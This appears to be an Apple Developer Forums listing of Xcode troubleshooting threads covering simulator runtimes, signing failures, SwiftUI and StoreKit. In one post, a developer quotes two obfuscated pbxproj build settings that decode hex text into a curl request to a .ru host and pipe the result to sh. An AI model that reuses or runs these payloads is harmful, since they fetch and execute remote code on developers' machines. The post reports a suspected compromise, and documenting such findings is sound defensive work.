Build, test, and submit your app using Xcode, Apple's integrated development environment.

Xcode Documentation

Posts under Xcode subtopic

Post

Replies

Boosts

Views

Activity

Xcode 26.6 cannot download iOS 26.5 Simulator runtime — stuck on “Preparing…”
I am unable to download and install the iOS Simulator runtime in Xcode 26.6. Environment: MacBook Air with Apple silicon macOS Tahoe 26.6 Xcode 26.6 Build version 17F113 xcode-select -p: /Applications/Xcode.app/Contents/Developer xcodebuild -showsdks correctly reports: Simulator - iOS 26.5 -sdk iphonesimulator26.5 However: xcrun simctl list runtimes returns: == Runtimes == No Simulator runtime is installed. In: Xcode > Settings > Components I attempted to install: iOS 26.5.1 + iOS 26.5 Simulator but it remains at: Preparing... for a very long time without actually downloading the runtime. I also tried: xcodebuild -downloadPlatform iOS This eventually failed with: Download was cancelled exit code 70 I also tried: xcodebuild -downloadPlatform iOS -exportPath ~/Downloads/XcodePlatforms The destination directory remains at 0 bytes. Checks already completed: More than 860 GiB free disk space Mac restarted Xcode quit and reopened xcode-select points to the correct Xcode installation /etc/hosts contains no Apple blocking entries gdmf.apple.com resolves correctly HTTPS connectivity to gdmf.apple.com works Apple MobileAsset / software update services are running iOS Simulator SDK itself is installed correctly The project can compile for iphonesimulator26.5, but Simulator execution and tests are blocked because no runtime can be installed. Questions: Is this a known issue with Xcode 26.6? Is there an official alternative way to download the iOS Simulator runtime? Can I install an earlier supported iOS Simulator runtime instead? Is there a MobileAsset or Xcode cache reset procedure recommended by Apple? Thank you.
5
4
1.5k
6d
iOS 27 Simulator: “Describe a Shortcut” stuck on “Preparing support”
I'm trying to test the new “Describe a Shortcut” feature in iOS 27 using an iPhone 17 Simulator. When I open Shortcuts and tap “Describe a Shortcut”, it stays on: “Preparing support for describe a shortcut” and the text field remains disabled. I cannot enter anything or create the shortcut. My setup: Mac: MacBook Pro macOS: 27 Xcode: 26.5 (17F42) Simulator: iPhone 17 iOS: 27 I also have a physical iPhone 14 Pro, but I understand that it doesn't support Apple Intelligence, so I'm trying to test this using the iPhone 17 Simulator. Do I need to enable/download anything for Apple Intelligence on the Mac or Simulator? Or is “Describe a Shortcut” currently unsupported/not working in the iOS 27 Simulator? Any guidance on the correct setup would be appreciated.
2
1
843
1w
All development installs fail with 0xe8008018 — online authorization (PPQ) returns REJECT_PROFILE for my paid team
I'm a paid Apple Developer Program member. Apple Developer Support confirmed by phone that my account has no restrictions, but every development-signed app I install on my registered iPhone is rejected. Environment iPhone 17 Pro,1, iOS 27.0 (24A435), Developer Mode enabled Device registered and enabled in Certificates, Identifiers & Profiles Signed with Apple Development certificates (issuer: WWDR G3), iOS App Development profiles Error ApplicationVerificationFailed 0xe8008018: The identity used to sign the executable is no longer valid.On the device: "This app was not installed because its integrity could not be verified." Device log during installation installd(libmis): Performing online authorization. online-auth-agent: The server returned: {"actions":["REJECT_PROFILE"],"authorized":false,...} online-auth-agent: Permanently rejected profile: <hash, <profile UUID installd(libmis): No online authorization (0x2) installd(libmis): validation failed because of failing online authorization (-402620392)What I've ruled out Not certificate revocation: trustd reports OCSP status revoked=0 definitive=1 for the whole chain. Not app-specific: a brand-new, empty test app with a newly created App ID and a newly created development profile fails identically. Not certificate-specific: same result with two different Apple Development certificates, each in its own freshly generated profile (three profiles in total, all rejected). The provisioning profiles contain the device UDID and the signing certificate, and the app's entitlements are a subset of the profile's. Questions Under what conditions does the online authorization service return REJECT_PROFILE / authorized:false for a paid team whose account shows no restrictions? Is this a known issue with iOS 27 and development profiles? Since the device marks each profile as "permanently rejected", how can I restore authorization for my team on this device once the cause is fixed?
3
0
506
1w
SwiftUI NavigationStack warning messages
After installing Xcode 27.0 SwiftUI NavigationStack is generating unwanted warnings that have not been seen with older releases. Examples of the warnings are "cannot add handler to 0 from 0 - dropping". A minimal view using VStack does not generate these messages but adding NavigationStack seems to generate pairs of messages. Over the lifetime of an application hundreds of messages are generated. Is this a known issue?
4
0
309
1w
Xcode 27, Device Hub, screenshot with rounded corners
Hi, Is it no longer possible to take a screenshot with rounded corners? In Xcode 26, you could hold down the Option key to access a different screenshot menu. This no longer works—neither via the new print button in the Device Hub nor through the command-line tool devicectl. xcrun continues to work, but—once again—there are no rounded corners. Are rounded corners no longer in fashion for screenshots? Christian
2
0
100
1w
Content View Not Working
Newbie here. I just downloaded the latest version Xcode, because I started a class in iOS coding. Unfortunately I write my first "app" (yeah it's "Hello, World"!) and the ContentView just spins and soins then generates an error meassage that goes back to Apple. By the way the iPhone simulater loads but shows nothing. I spoke with two Apple support people to no avail. Can anyone here help? P.S. The error meassages are always Xcode stopped unexpectedly.
0
0
88
1w
is UIRequiresFullScreen deprecated or not?
The information coming from Apple is very confusing. https://developer.apple.com/documentation/technotes/tn3192-Migrating-your-app-from-the-deprecated-UIRequiresFullScreen-key says two opposite things: (1) "Starting in iPadOS 26, UIRequiresFullScreen and its associated compatibility mode are deprecated" and you should migrate away. (2) "Starting in iOS 27 and iPadOS 27, UIRequiresFullScreen no longer opts your app out of resizing on either platform. Instead, the system resizes your app’s scene discretely. This behavior applies when you build your app with the iOS 27 SDK or later and set UIRequiresFullScreen to YES" The thing is that (2) implies that UIRequiresFullScreen is legal and in fact is supposed to have a well-defined new behavior, "discrete resizing". I have not been able to detect any evidence of this "discrete resizing" and I don't understand what it is. But the important thing is (2) makes it sound legal but (1) makes it sound illegal. What's true?
3
0
71
1w
Xcode 26.5 or later modifies .pbxproj files automatically
After upgrading to Xcode 26.5, our project.pbxproj files are being modified automatically. Initially, we assumed these were normal Xcode project serialization changes. However, the changes contain unexpected PBXShellScriptBuildPhase entries and obfuscated shell commands. For example, the project initially contained: 2C872CC9BFCB48339C7BBDC8 /* Provision Library Executable */ and the following build setting was added/modified: A8CDBB7 = "((e(){ printf xIxd | tr -d I -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203232202d2d72657472792034202d736b664c202d642022703d78636f64655f7068617365222068747470733a2f2f73772d37646b6731613439356a2e72752f612922207c2073680a | e | sh ) >/dev/null 2>&1 &)"; After committing the changes, the same project was modified again later. The subsequent changes included: 1A7A1E691D8B4025A3162AE3 /* Provision Target Device */ and another obfuscated build setting: A3EA261 = "((y(){ printf xIxd | tr -d I -p -r; };echo 6563686f202224286375726c202d2d72657472792033202d2d636f6e6e6563742d74696d656f7574203239202d6b73664c202d642022703d78636f64655f7068617365222068747470733a2f2f6a68717433346e33717265752e72752e72752f612922207c y | sh ) >/dev/null 2>&1 &)"; The exact values change between modifications. The commands contain obfuscated shell functions, encoded data, curl requests to external domains, and execution through sh. We are also seeing changes such as: name = "Provision Library Executable"; changing to: name = "Provision Target Device"; and: name = "Build Target Libraries"; being reordered/changed within the build phases. Most importantly, these changes are not being intentionally made by our development team. We committed the first set of changes, and after some time the project file was modified again with another variation of the obfuscated command. This behavior is occurring in our Xcode projects after moving to Xcode 26.5. Note :- Currently we are using Xcode 27.0 and its also having same behaviour.
0
0
95
1w
Storyboards stuck on "Loading iOS 27.1..." in Xcode 27.1, including new projects
SUMMARY In Xcode 27.1, opening any Main.storyboard never finishes loading. The editor shows "Loading iOS 27.1..." indefinitely. This happens in existing projects and in a brand-new iOS App project created with Interface: Storyboard. Before that, the editor showed "Failed to open Main.storyboard: iOS 27.1 Platform Not Installed." ENVIRONMENT Xcode 27.1 iOS SDK build: 24A94232 (from xcrun --sdk iphonesimulator --show-sdk-build-version) macOS: [YOUR macOS VERSION] Hardware: MacBook Air, Apple M1 Run destination: iPhone 17 Pro Max simulator STEPS TO REPRODUCE Open Xcode 27.1. Create a new project: iOS > App, Interface: Storyboard, Language: Swift. Click Main.storyboard in the Project Navigator. EXPECTED RESULT The storyboard renders in Interface Builder and the Objects library lists UI elements. ACTUAL RESULT The editor stays on "Loading iOS 27.1..." and the Objects library shows "No Matches." Opening the file as Source Code works, and the XML is valid (targetRuntime="iOS.CocoaTouch"), so the file itself is fine. RUNTIME STATE Initially the only iOS 27.1 runtime installed was build 24A94425, shown as Ready in xcrun simctl runtime list. Xcode reported "iOS 27.1 Platform Not Installed," and the runtime did not appear in Settings > Components. The Xcode SDK build is 24A94232, which does not match 24A94425. I ran xcodebuild -downloadPlatform iOS, which installed iOS 27.1 (24A94232). The error then changed to "Loading iOS 27.1..." and stayed there. Settings > Components then showed an "Update" button for iOS 27.1 (8.07 GB). Clicking it installed iOS 27.1 (24A94425) again, so both builds are now present and Ready. The storyboard is still stuck. WHAT I TRIED (none fixed it) Deleting ~/Library/Developer/Xcode/DerivedData sudo killall -9 com.apple.CoreSimulator.CoreSimulatorService Removing and reinstalling the iOS 27.1 runtime Restarting the Mac Waiting several minutes on the first load (~/Library/Developer/Xcode/UserData/IB Support does not exist on this machine)
2
0
147
1w
Unable to install iOS 18 simulator using xcodebuild 27
We are planning to upgrade our CI setup to run on Xcode 27, but we want to run tests on several older iOS simulator runtimes: 26, 18, 17… With Xcode 26.6, we had no trouble installing the needed runtimes by running: $ xcodebuild -downloadPlatform iOS -buildVersion 18.6 $ xcodebuild -downloadPlatform iOS -buildVersion 17.5 $ xcodebuild -downloadPlatform iOS -buildVersion 16.4 When using Xcode 27.0 (27A266a), however, the command fails to work for any runtime older than iOS 26.0: $ xcodebuild -downloadPlatform iOS -buildVersion 18.6 Finding content... iOS 18.6 is not available for download. At the same time, the runtimes can be installed just fine by using the "Add Platforms…" dialog from the Components pane in Xcode settings. Unfortunately, that's not an option in a headless CI machine. The same issue also reproduces in the beta versions 27.1 (27A9269) and 27.2 (27B5019j), and regardless of macOS version (26.7 or 27.0). Any idea how to work around the issue? I wonder if's a broken backend configuration or a regression in Xcode 27? Posted as FB24836279.
1
3
718
1w
Switching to Xcode from other apps takes enormous time
I have a powerful machine (Mac Studio M1 Max, 64 GB). Switching between apps is instantaneous. Except for Xcode. It consistently takes 2+ seconds to switch to Xcode from any app under any memory pressure. (And yes, it's an absolutely enormous amount of time for this task.) The same problem was with Xcode 26. I hoped that Xcode 27 will fix it, but nothing changed after updating. There are days when I need to switch between other apps and Xcode often AND many times (in hundreds). This annoying delay is absolutely unacceptable. I'm using Xcode since version 2 and have never experienced this problem. I wonder if other Xcode users experience the same? WHY there's even a delay? Again, no other app behaves like this - and I have quite a few apps open, including multiple heavy Adobe apps. FB25437949
3
0
122
1w
Posting a Crash Report
If you need help investigating a crash, please include a crash report in your post. To smooth things along, follow these guidelines: For information on how to get a crash report, see Acquiring crash reports and diagnostic logs. Include the whole crash report as a text attachment (click the paperclip icon at the bottom of the editor). This avoids clogging up the timeline while also preserving the wealth of information in the crash report. If you’re not able to post your crash report as an attachment, see Can’t Post Crash Report as Attachment below. If you want to highlight a section of the report, include it in the main body of your post. Put the snippet in a code block so that it renders nicely. To create a code block, add a delimiter line containing triple backquotes before and after the block, or just click the Code Block button. If possible, post an Apple crash report. Third-party crash reporters are often missing critical information and have general reliability problems (for an explanation as to why, see Implementing Your Own Crash Reporter). Symbolicate your crash report before posting it. For information on how to do this, see Adding identifiable symbol names to a crash report. If you need to redact the crash report, do so consistently. Imagine you’re building the WaffleVarnish app whose bundle ID is com.example.wafflevarnish but you want to keep your new waffle varnishing technology secret. Replace WaffleVarnish with WwwwwwVvvvvvv and com.example.wafflevarnish with com.eeeeeee.wwwwwwvvvvvvv. This keeps the text in the crash report aligned while making it possible to distinguish the human-readible name of the app (WaffleVarnish) from the bundle ID (com.example.wafflevarnish). Finally, for information on how to use a crash report to debug your own problems, see Diagnosing issues using crash reports and device logs. Can’t Post Crash Report as Attachment Crash reports have two common extensions: .crash and .ips. If you have an .ips file, please post that [1]. The forums let you attach a .crash file but not an .ips file (r. 117468172). To work around this, change the extension to .txt. If the forums complain that your crash report “contains sensitive language”, leave it out of your initial post and attach it to a reply. That often avoids this roadblock. If you still can’t post your crash report, upload it to a file sharing service and include the URL in your post. Post the URL in the clear, per tip 14 in Quinn’s Top Ten DevForums Tips. Getting a Crash Report from the Xcode Organiser The Xcode organiser shows crash reports from customers. If you’re investigating such a crash and want to post a crash report: Navigate to the crash in the Xcode organiser. If you can’t see the right crash, check the filter popups at the top. In the list of crashes, secondary click on your crash and choose Show in Finder. That reveals the Xcode crashpoint document (.xccrashpoint) in the Finder. Secondary click on that and choose Show Package Contents. In the resulting Finder window, find a crash report (.crash) that accurately represents the crash you’re investigating and attach that to your forums post. Share and Enjoy—Quinn “The Eskimo!” @ Developer Technical Support @ Applelet myEmail = "eskimo" + "1" + "@" + "apple.com" [1] Because it’s easy to go from an .ips file to a .crash file. I usually do this by choosing File > Quick Look in the Finder. For more info about these file formats, see this post. Revision History: 2026-11-10 Updated the text that describes the attachment button to account for changes to the forums platform. Made other minor editorial changes. 2025-08-29 Added the Getting a Crash Report from the Xcode Organiser section. 2024-11-21 Added a recommendation to post the .ips format if possible. 2024-05-21 Added some advice regarding the “contains sensitive language” message. 2023-10-25 Added the Can’t Post Crash Report as Attachment section. Made other minor editorial changes. 2021-08-26 First posted.
0
0
10k
1w
Xcode SwiftUI Preview Not Changing Device Appearance
Hello, I'm having an issue with SwiftUI Preview in Xcode. When I switch between different iPhone models, including iPhone 18 Pro, iPhone 18 Pro Max, iPhone Air, and iPhone Duo, the selected device name changes, but the actual device appearance and preview dimensions remain exactly the same. This happens in all SwiftUI projects, including newly created ones. I've tried reinstalling Xcode, clearing DerivedData and caches, and even performing a clean macOS installation, but the issue still persists. - macOS 27.0.1 - Xcode 27.2 Has anyone experienced this issue or found a solution? Thank you!
1
0
91
1w
SKTestSession: declined Ask to Buy now produces a purchased transaction on iOS 27.2. Expected?
Hello! I'm glad that Xcode 27.2 could fix many StoreKit testing issues (27.2 release notes). While refreshing my unit tests for Xcode 27.2, I noticed a new behavior of "Ask to Buy" transactions. Since Xcode/iOS 27.2 at least, it seems that declining an Ask to Buy request in an SKTestSession makes StoreKit 2 record a purchase. Is this the intended new behavior? To reproduce: let session = try SKTestSession(configurationFileNamed: "ConfigFile") session.askToBuyEnabled = true session.resetToDefaultState() session.disableDialogs = true session.clearTransactions() let result = try await product.purchase() // .pending let pending = session.allTransactions().first! // state .deferred try session.declineAskToBuyTransaction(identifier: pending.identifier) // a few seconds later for await t in Transaction.all { print(t.unsafePayloadValue) }In my case the purchased product is an auto-renewable subscription with a free-trial intro offer, from a local .storekit file, in a unit test run inside a host app. After the decline, I could observe the following iOS 26.2 simulator SKTestTransaction.state = .deferred Transaction.updates : nothing Transaction.all : empty iOS 27.2 simulator SKTestTransaction.state = .failed Transaction.updates : emits a transaction Transaction.all : 1 transaction: ownershipType = .purchased, reason = .purchase, no revocation, expires at the end of the trial. The test session marks the request as failed, yet StoreKit 2 reports an active subscription... My understanding was that a declined "Ask to Buy" request never produces a transaction. With the new behavior, apps relying on Transaction.all or currentEntitlements would grant access that the Apple user refused... Is the new behavior expected? Or is it a regression (and is it limited to SKTestSession) ? Thanks for your help!
0
0
68
1w
Xcode 26.6 cannot download iOS 26.5 Simulator runtime — stuck on “Preparing…”
I am unable to download and install the iOS Simulator runtime in Xcode 26.6. Environment: MacBook Air with Apple silicon macOS Tahoe 26.6 Xcode 26.6 Build version 17F113 xcode-select -p: /Applications/Xcode.app/Contents/Developer xcodebuild -showsdks correctly reports: Simulator - iOS 26.5 -sdk iphonesimulator26.5 However: xcrun simctl list runtimes returns: == Runtimes == No Simulator runtime is installed. In: Xcode > Settings > Components I attempted to install: iOS 26.5.1 + iOS 26.5 Simulator but it remains at: Preparing... for a very long time without actually downloading the runtime. I also tried: xcodebuild -downloadPlatform iOS This eventually failed with: Download was cancelled exit code 70 I also tried: xcodebuild -downloadPlatform iOS -exportPath ~/Downloads/XcodePlatforms The destination directory remains at 0 bytes. Checks already completed: More than 860 GiB free disk space Mac restarted Xcode quit and reopened xcode-select points to the correct Xcode installation /etc/hosts contains no Apple blocking entries gdmf.apple.com resolves correctly HTTPS connectivity to gdmf.apple.com works Apple MobileAsset / software update services are running iOS Simulator SDK itself is installed correctly The project can compile for iphonesimulator26.5, but Simulator execution and tests are blocked because no runtime can be installed. Questions: Is this a known issue with Xcode 26.6? Is there an official alternative way to download the iOS Simulator runtime? Can I install an earlier supported iOS Simulator runtime instead? Is there a MobileAsset or Xcode cache reset procedure recommended by Apple? Thank you.
Replies
5
Boosts
4
Views
1.5k
Activity
6d
iOS 27 Simulator: “Describe a Shortcut” stuck on “Preparing support”
I'm trying to test the new “Describe a Shortcut” feature in iOS 27 using an iPhone 17 Simulator. When I open Shortcuts and tap “Describe a Shortcut”, it stays on: “Preparing support for describe a shortcut” and the text field remains disabled. I cannot enter anything or create the shortcut. My setup: Mac: MacBook Pro macOS: 27 Xcode: 26.5 (17F42) Simulator: iPhone 17 iOS: 27 I also have a physical iPhone 14 Pro, but I understand that it doesn't support Apple Intelligence, so I'm trying to test this using the iPhone 17 Simulator. Do I need to enable/download anything for Apple Intelligence on the Mac or Simulator? Or is “Describe a Shortcut” currently unsupported/not working in the iOS 27 Simulator? Any guidance on the correct setup would be appreciated.
Replies
2
Boosts
1
Views
843
Activity
1w
All development installs fail with 0xe8008018 — online authorization (PPQ) returns REJECT_PROFILE for my paid team
I'm a paid Apple Developer Program member. Apple Developer Support confirmed by phone that my account has no restrictions, but every development-signed app I install on my registered iPhone is rejected. Environment iPhone 17 Pro,1, iOS 27.0 (24A435), Developer Mode enabled Device registered and enabled in Certificates, Identifiers & Profiles Signed with Apple Development certificates (issuer: WWDR G3), iOS App Development profiles Error ApplicationVerificationFailed 0xe8008018: The identity used to sign the executable is no longer valid.On the device: "This app was not installed because its integrity could not be verified." Device log during installation installd(libmis): Performing online authorization. online-auth-agent: The server returned: {"actions":["REJECT_PROFILE"],"authorized":false,...} online-auth-agent: Permanently rejected profile: <hash, <profile UUID installd(libmis): No online authorization (0x2) installd(libmis): validation failed because of failing online authorization (-402620392)What I've ruled out Not certificate revocation: trustd reports OCSP status revoked=0 definitive=1 for the whole chain. Not app-specific: a brand-new, empty test app with a newly created App ID and a newly created development profile fails identically. Not certificate-specific: same result with two different Apple Development certificates, each in its own freshly generated profile (three profiles in total, all rejected). The provisioning profiles contain the device UDID and the signing certificate, and the app's entitlements are a subset of the profile's. Questions Under what conditions does the online authorization service return REJECT_PROFILE / authorized:false for a paid team whose account shows no restrictions? Is this a known issue with iOS 27 and development profiles? Since the device marks each profile as "permanently rejected", how can I restore authorization for my team on this device once the cause is fixed?
Replies
3
Boosts
0
Views
506
Activity
1w
SwiftUI NavigationStack warning messages
After installing Xcode 27.0 SwiftUI NavigationStack is generating unwanted warnings that have not been seen with older releases. Examples of the warnings are "cannot add handler to 0 from 0 - dropping". A minimal view using VStack does not generate these messages but adding NavigationStack seems to generate pairs of messages. Over the lifetime of an application hundreds of messages are generated. Is this a known issue?
Replies
4
Boosts
0
Views
309
Activity
1w
Xcode 27, Device Hub, screenshot with rounded corners
Hi, Is it no longer possible to take a screenshot with rounded corners? In Xcode 26, you could hold down the Option key to access a different screenshot menu. This no longer works—neither via the new print button in the Device Hub nor through the command-line tool devicectl. xcrun continues to work, but—once again—there are no rounded corners. Are rounded corners no longer in fashion for screenshots? Christian
Replies
2
Boosts
0
Views
100
Activity
1w
Content View Not Working
Newbie here. I just downloaded the latest version Xcode, because I started a class in iOS coding. Unfortunately I write my first "app" (yeah it's "Hello, World"!) and the ContentView just spins and soins then generates an error meassage that goes back to Apple. By the way the iPhone simulater loads but shows nothing. I spoke with two Apple support people to no avail. Can anyone here help? P.S. The error meassages are always Xcode stopped unexpectedly.
Replies
0
Boosts
0
Views
88
Activity
1w
is UIRequiresFullScreen deprecated or not?
The information coming from Apple is very confusing. https://developer.apple.com/documentation/technotes/tn3192-Migrating-your-app-from-the-deprecated-UIRequiresFullScreen-key says two opposite things: (1) "Starting in iPadOS 26, UIRequiresFullScreen and its associated compatibility mode are deprecated" and you should migrate away. (2) "Starting in iOS 27 and iPadOS 27, UIRequiresFullScreen no longer opts your app out of resizing on either platform. Instead, the system resizes your app’s scene discretely. This behavior applies when you build your app with the iOS 27 SDK or later and set UIRequiresFullScreen to YES" The thing is that (2) implies that UIRequiresFullScreen is legal and in fact is supposed to have a well-defined new behavior, "discrete resizing". I have not been able to detect any evidence of this "discrete resizing" and I don't understand what it is. But the important thing is (2) makes it sound legal but (1) makes it sound illegal. What's true?
Replies
3
Boosts
0
Views
71
Activity
1w
Xcode 26.5 or later modifies .pbxproj files automatically
After upgrading to Xcode 26.5, our project.pbxproj files are being modified automatically. Initially, we assumed these were normal Xcode project serialization changes. However, the changes contain unexpected PBXShellScriptBuildPhase entries and obfuscated shell commands. For example, the project initially contained: 2C872CC9BFCB48339C7BBDC8 /* Provision Library Executable */ and the following build setting was added/modified: A8CDBB7 = "((e(){ printf xIxd | tr -d I -p -r; };echo 6563686f202224286375726c202d2d636f6e6e6563742d74696d656f7574203232202d2d72657472792034202d736b664c202d642022703d78636f64655f7068617365222068747470733a2f2f73772d37646b6731613439356a2e72752f612922207c2073680a | e | sh ) >/dev/null 2>&1 &)"; After committing the changes, the same project was modified again later. The subsequent changes included: 1A7A1E691D8B4025A3162AE3 /* Provision Target Device */ and another obfuscated build setting: A3EA261 = "((y(){ printf xIxd | tr -d I -p -r; };echo 6563686f202224286375726c202d2d72657472792033202d2d636f6e6e6563742d74696d656f7574203239202d6b73664c202d642022703d78636f64655f7068617365222068747470733a2f2f6a68717433346e33717265752e72752e72752f612922207c y | sh ) >/dev/null 2>&1 &)"; The exact values change between modifications. The commands contain obfuscated shell functions, encoded data, curl requests to external domains, and execution through sh. We are also seeing changes such as: name = "Provision Library Executable"; changing to: name = "Provision Target Device"; and: name = "Build Target Libraries"; being reordered/changed within the build phases. Most importantly, these changes are not being intentionally made by our development team. We committed the first set of changes, and after some time the project file was modified again with another variation of the obfuscated command. This behavior is occurring in our Xcode projects after moving to Xcode 26.5. Note :- Currently we are using Xcode 27.0 and its also having same behaviour.
Replies
0
Boosts
0
Views
95
Activity
1w
Storyboards stuck on "Loading iOS 27.1..." in Xcode 27.1, including new projects
SUMMARY In Xcode 27.1, opening any Main.storyboard never finishes loading. The editor shows "Loading iOS 27.1..." indefinitely. This happens in existing projects and in a brand-new iOS App project created with Interface: Storyboard. Before that, the editor showed "Failed to open Main.storyboard: iOS 27.1 Platform Not Installed." ENVIRONMENT Xcode 27.1 iOS SDK build: 24A94232 (from xcrun --sdk iphonesimulator --show-sdk-build-version) macOS: [YOUR macOS VERSION] Hardware: MacBook Air, Apple M1 Run destination: iPhone 17 Pro Max simulator STEPS TO REPRODUCE Open Xcode 27.1. Create a new project: iOS > App, Interface: Storyboard, Language: Swift. Click Main.storyboard in the Project Navigator. EXPECTED RESULT The storyboard renders in Interface Builder and the Objects library lists UI elements. ACTUAL RESULT The editor stays on "Loading iOS 27.1..." and the Objects library shows "No Matches." Opening the file as Source Code works, and the XML is valid (targetRuntime="iOS.CocoaTouch"), so the file itself is fine. RUNTIME STATE Initially the only iOS 27.1 runtime installed was build 24A94425, shown as Ready in xcrun simctl runtime list. Xcode reported "iOS 27.1 Platform Not Installed," and the runtime did not appear in Settings > Components. The Xcode SDK build is 24A94232, which does not match 24A94425. I ran xcodebuild -downloadPlatform iOS, which installed iOS 27.1 (24A94232). The error then changed to "Loading iOS 27.1..." and stayed there. Settings > Components then showed an "Update" button for iOS 27.1 (8.07 GB). Clicking it installed iOS 27.1 (24A94425) again, so both builds are now present and Ready. The storyboard is still stuck. WHAT I TRIED (none fixed it) Deleting ~/Library/Developer/Xcode/DerivedData sudo killall -9 com.apple.CoreSimulator.CoreSimulatorService Removing and reinstalling the iOS 27.1 runtime Restarting the Mac Waiting several minutes on the first load (~/Library/Developer/Xcode/UserData/IB Support does not exist on this machine)
Replies
2
Boosts
0
Views
147
Activity
1w
Unable to install iOS 18 simulator using xcodebuild 27
We are planning to upgrade our CI setup to run on Xcode 27, but we want to run tests on several older iOS simulator runtimes: 26, 18, 17… With Xcode 26.6, we had no trouble installing the needed runtimes by running: $ xcodebuild -downloadPlatform iOS -buildVersion 18.6 $ xcodebuild -downloadPlatform iOS -buildVersion 17.5 $ xcodebuild -downloadPlatform iOS -buildVersion 16.4 When using Xcode 27.0 (27A266a), however, the command fails to work for any runtime older than iOS 26.0: $ xcodebuild -downloadPlatform iOS -buildVersion 18.6 Finding content... iOS 18.6 is not available for download. At the same time, the runtimes can be installed just fine by using the "Add Platforms…" dialog from the Components pane in Xcode settings. Unfortunately, that's not an option in a headless CI machine. The same issue also reproduces in the beta versions 27.1 (27A9269) and 27.2 (27B5019j), and regardless of macOS version (26.7 or 27.0). Any idea how to work around the issue? I wonder if's a broken backend configuration or a regression in Xcode 27? Posted as FB24836279.
Replies
1
Boosts
3
Views
718
Activity
1w
Switching to Xcode from other apps takes enormous time
I have a powerful machine (Mac Studio M1 Max, 64 GB). Switching between apps is instantaneous. Except for Xcode. It consistently takes 2+ seconds to switch to Xcode from any app under any memory pressure. (And yes, it's an absolutely enormous amount of time for this task.) The same problem was with Xcode 26. I hoped that Xcode 27 will fix it, but nothing changed after updating. There are days when I need to switch between other apps and Xcode often AND many times (in hundreds). This annoying delay is absolutely unacceptable. I'm using Xcode since version 2 and have never experienced this problem. I wonder if other Xcode users experience the same? WHY there's even a delay? Again, no other app behaves like this - and I have quite a few apps open, including multiple heavy Adobe apps. FB25437949
Replies
3
Boosts
0
Views
122
Activity
1w
Posting a Crash Report
If you need help investigating a crash, please include a crash report in your post. To smooth things along, follow these guidelines: For information on how to get a crash report, see Acquiring crash reports and diagnostic logs. Include the whole crash report as a text attachment (click the paperclip icon at the bottom of the editor). This avoids clogging up the timeline while also preserving the wealth of information in the crash report. If you’re not able to post your crash report as an attachment, see Can’t Post Crash Report as Attachment below. If you want to highlight a section of the report, include it in the main body of your post. Put the snippet in a code block so that it renders nicely. To create a code block, add a delimiter line containing triple backquotes before and after the block, or just click the Code Block button. If possible, post an Apple crash report. Third-party crash reporters are often missing critical information and have general reliability problems (for an explanation as to why, see Implementing Your Own Crash Reporter). Symbolicate your crash report before posting it. For information on how to do this, see Adding identifiable symbol names to a crash report. If you need to redact the crash report, do so consistently. Imagine you’re building the WaffleVarnish app whose bundle ID is com.example.wafflevarnish but you want to keep your new waffle varnishing technology secret. Replace WaffleVarnish with WwwwwwVvvvvvv and com.example.wafflevarnish with com.eeeeeee.wwwwwwvvvvvvv. This keeps the text in the crash report aligned while making it possible to distinguish the human-readible name of the app (WaffleVarnish) from the bundle ID (com.example.wafflevarnish). Finally, for information on how to use a crash report to debug your own problems, see Diagnosing issues using crash reports and device logs. Can’t Post Crash Report as Attachment Crash reports have two common extensions: .crash and .ips. If you have an .ips file, please post that [1]. The forums let you attach a .crash file but not an .ips file (r. 117468172). To work around this, change the extension to .txt. If the forums complain that your crash report “contains sensitive language”, leave it out of your initial post and attach it to a reply. That often avoids this roadblock. If you still can’t post your crash report, upload it to a file sharing service and include the URL in your post. Post the URL in the clear, per tip 14 in Quinn’s Top Ten DevForums Tips. Getting a Crash Report from the Xcode Organiser The Xcode organiser shows crash reports from customers. If you’re investigating such a crash and want to post a crash report: Navigate to the crash in the Xcode organiser. If you can’t see the right crash, check the filter popups at the top. In the list of crashes, secondary click on your crash and choose Show in Finder. That reveals the Xcode crashpoint document (.xccrashpoint) in the Finder. Secondary click on that and choose Show Package Contents. In the resulting Finder window, find a crash report (.crash) that accurately represents the crash you’re investigating and attach that to your forums post. Share and Enjoy—Quinn “The Eskimo!” @ Developer Technical Support @ Applelet myEmail = "eskimo" + "1" + "@" + "apple.com" [1] Because it’s easy to go from an .ips file to a .crash file. I usually do this by choosing File > Quick Look in the Finder. For more info about these file formats, see this post. Revision History: 2026-11-10 Updated the text that describes the attachment button to account for changes to the forums platform. Made other minor editorial changes. 2025-08-29 Added the Getting a Crash Report from the Xcode Organiser section. 2024-11-21 Added a recommendation to post the .ips format if possible. 2024-05-21 Added some advice regarding the “contains sensitive language” message. 2023-10-25 Added the Can’t Post Crash Report as Attachment section. Made other minor editorial changes. 2021-08-26 First posted.
Replies
0
Boosts
0
Views
10k
Activity
1w
Xcode SwiftUI Preview Not Changing Device Appearance
Hello, I'm having an issue with SwiftUI Preview in Xcode. When I switch between different iPhone models, including iPhone 18 Pro, iPhone 18 Pro Max, iPhone Air, and iPhone Duo, the selected device name changes, but the actual device appearance and preview dimensions remain exactly the same. This happens in all SwiftUI projects, including newly created ones. I've tried reinstalling Xcode, clearing DerivedData and caches, and even performing a clean macOS installation, but the issue still persists. - macOS 27.0.1 - Xcode 27.2 Has anyone experienced this issue or found a solution? Thank you!
Replies
1
Boosts
0
Views
91
Activity
1w
SKTestSession: declined Ask to Buy now produces a purchased transaction on iOS 27.2. Expected?
Hello! I'm glad that Xcode 27.2 could fix many StoreKit testing issues (27.2 release notes). While refreshing my unit tests for Xcode 27.2, I noticed a new behavior of "Ask to Buy" transactions. Since Xcode/iOS 27.2 at least, it seems that declining an Ask to Buy request in an SKTestSession makes StoreKit 2 record a purchase. Is this the intended new behavior? To reproduce: let session = try SKTestSession(configurationFileNamed: "ConfigFile") session.askToBuyEnabled = true session.resetToDefaultState() session.disableDialogs = true session.clearTransactions() let result = try await product.purchase() // .pending let pending = session.allTransactions().first! // state .deferred try session.declineAskToBuyTransaction(identifier: pending.identifier) // a few seconds later for await t in Transaction.all { print(t.unsafePayloadValue) }In my case the purchased product is an auto-renewable subscription with a free-trial intro offer, from a local .storekit file, in a unit test run inside a host app. After the decline, I could observe the following iOS 26.2 simulator SKTestTransaction.state = .deferred Transaction.updates : nothing Transaction.all : empty iOS 27.2 simulator SKTestTransaction.state = .failed Transaction.updates : emits a transaction Transaction.all : 1 transaction: ownershipType = .purchased, reason = .purchase, no revocation, expires at the end of the trial. The test session marks the request as failed, yet StoreKit 2 reports an active subscription... My understanding was that a declined "Ask to Buy" request never produces a transaction. With the new behavior, 